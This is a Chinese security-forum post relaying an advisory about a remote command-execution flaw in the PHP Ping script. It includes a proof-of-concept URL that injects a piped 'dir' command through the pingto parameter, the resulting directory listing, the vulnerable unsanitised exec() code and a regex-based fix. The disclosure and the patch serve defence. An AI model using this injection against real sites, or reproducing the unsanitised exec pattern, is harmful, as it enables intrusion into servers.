论坛: 网站建设 标题: PHPPing存在远程命令执行缺陷 复制本贴地址    
作者: ingtai [ingtai]    论坛用户   登录
 PHP Ping 存在远程命令执行缺陷 (Other,缺陷)  

涉及程序: 
PHP Ping  

描述: 
PHP Ping 存在远程命令执行缺陷  

详细: 
PHP Ping命令中存在缺陷,允许攻击者执行远程命令,并威胁操作系统的安全。 

缺陷存在于使用“ping”命令的页面中,例如: http://[target]/phpping/index.php?pingto=www.security-corp.org%20|%20dir 
使用该缺陷只能显示当前数据库的内容:
c:\phpping  

03/03/2003 23:01 <DIR> . 
03/03/2003 23:01 <DIR> .. 
03/03/2003 23:00 <DIR> img 
30/04/2002 23:13 3217 index.php 
30/04/2002 23:19 921 README 
03/03/2003 23:03 0 resultat.ping 
3 file(s) 4138 bytes 
3 Dir(s) 11413962752 bytes free  


攻击方法: 
示例代码:
//************************************* 
// FONCTION DU PING 
//************************************* 
function PHPing($cible,$pingFile){ 
exec("ping -a -n 1 $cible >$pingFile", $list); 
$fd = fopen($pingFile, "r"); 
while(!feof($fd)) 

$ping.= fgets($fd,256); 

fclose($fd); 
return $ping; 

//-------------------------------------  


解决方案: 
//************************************* 
// FONCTION DU PING 
//************************************* 
function PHPing($cible,$pingFile){  

# BugFix by Gregory LEBRAS www.security-corp.org  

if( (!$cible) || 
(!preg_match("/^[\w\d\.\-]+\.[\w\d]{1,3}$/i",$cible)) ){ 
echo("Error: Please specify a valid target host or IP."); 
exit; 

else 

exec("ping -a -n 1 $cible >$pingFile", $list); 
$fd = fopen($pingFile, "r"); 
while(!feof($fd)) 

$ping.= fgets($fd,256); 

fclose($fd); 
return $ping; 


//------------------------------------
 

地主 发表时间: 03/19 10:54

论坛: 网站建设

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号